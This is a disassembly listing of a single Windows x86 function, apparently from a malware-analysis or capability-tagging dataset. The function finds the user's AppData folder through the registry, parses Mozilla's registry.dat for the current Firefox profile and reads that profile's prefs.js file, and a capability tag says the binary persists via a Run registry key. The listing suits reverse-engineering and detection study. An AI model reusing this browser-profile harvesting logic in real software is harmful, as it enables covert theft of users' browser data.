Function at 0x41a367
Capabilities:
Get common file path
Get file size
Persist via run registry key
Query or enumerate registry value
Read file on windows
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x290
mov al, byte [0x434e90]
push ebx
push esi
push edi
mov dword [ebp - 0x1c], ecx
push 0x40
mov byte [ebp - 0x18c], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x18b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x18
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x87]
mov byte [ebp - 0x88], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
or dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 8], ebx
stosb byte es:[edi], al
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push SysFreeString
mov dword [ebp - 0x14], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
mov esi, 0x104
jne 0x41a3f5
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], esi
push eax
lea eax, [ebp - 0x290]
push eax
push ebx
push ebx
push str.AppData
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x41a403
lea eax, [ebp - 0x290]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x290]
push str.Mozilla_registry.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x290]
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp dword [ebp - 0xc], esi
je 0x41a444
lea ecx, [ebp - 0xc]
call fcn.00403aba
mov dword [ebp - 0xc], esi
push ebx
push ebx
push ebx
push 2
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov esi, eax
cmp dword [ebp - 8], esi
je 0x41a465
lea ecx, [ebp - 8]
call fcn.00406e44
mov dword [ebp - 8], esi
push ebx
push ebx
push ebx
push 4
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
cmp dword [ebp - 4], esi
je 0x41a485
lea ecx, [ebp - 4]
call fcn.0041b73d
mov dword [ebp - 4], esi
mov esi, dword [ebp - 4]
push ebx
push dword [ebp - 0xc]
mov dword [ebp - 0x20], esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push str.CurrentProfile
add edi, esi
push edi
push esi
call fcn.0041984c
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
cmp eax, ebx
mov dword [ebp - 0x24], eax
je 0x41a502
add eax, 0xf
push eax
lea eax, [ebp - 0x88]
push eax
call esi
lea eax, [ebp - 0x88]
push eax
push edi
push dword [ebp - 0x24]
call fcn.0041984c
add esp, 0xc
cmp eax, ebx
je 0x41a502
lea ecx, [ebp - 0x88]
inc eax
push ecx
push edi
push eax
call fcn.0041984c
add esp, 0xc
cmp eax, ebx
je 0x41a502
push str.directory
push edi
push eax
call fcn.0041984c
add esp, 0xc
cmp eax, ebx
jne 0x41a521
push str.directory
push edi
push dword [ebp - 0x20]
call fcn.0041984c
add esp, 0xc
cmp eax, ebx
jne 0x41a521
lea ecx, [ebp - 0x14]
call fcn.0041b728
jmp 0x41a58a
add eax, 0xa
push eax
lea eax, [ebp - 0x18c]
push eax
call esi
lea eax, [ebp - 0x18c]
push str.prefs.js
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
or dword [ebp - 0x10], 0xffffffff
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x18c]
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp dword [ebp - 0x10], esi
je 0x41a573
lea ecx, [ebp - 0x10]
call fcn.00403aba
mov dword [ebp - 0x10], esi
cmp dword [ebp - 0x10], 0xffffffff
jne 0x41a5a6
cmp dword [ebp - 0x14], ebx
je 0x41a58a
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 4], ebx
je 0x41a59b
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [ebp - 4], ebx
cmp dword [ebp - 8], ebx
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41a614
push ebx
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.0041d7f8
mov esi, dword [ebp - 0x1c]
pop ecx
lea ecx, [ebp - 0x18]
push ebx
push ecx
push edi
push eax
mov dword [esi + 0x10], eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41a5da
mov ecx, esi
call fcn.0041a62e
cmp dword [ebp - 0x10], 0xffffffff
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x41a5ef
push dword [ebp - 0x10]
call esi
or dword [ebp - 0x10], 0xffffffff
cmp dword [ebp - 0x14], ebx
je 0x41a600
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 4], ebx
je 0x41a611
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [ebp - 4], ebx
cmp dword [ebp - 8], ebx
je 0x41a61e
push dword [ebp - 8]
call esi
mov dword [ebp - 8], ebx
cmp dword [ebp - 0xc], 0xffffffff
je 0x41a629
push dword [ebp - 0xc]
call esi
pop edi
pop esi
pop ebx
leave
ret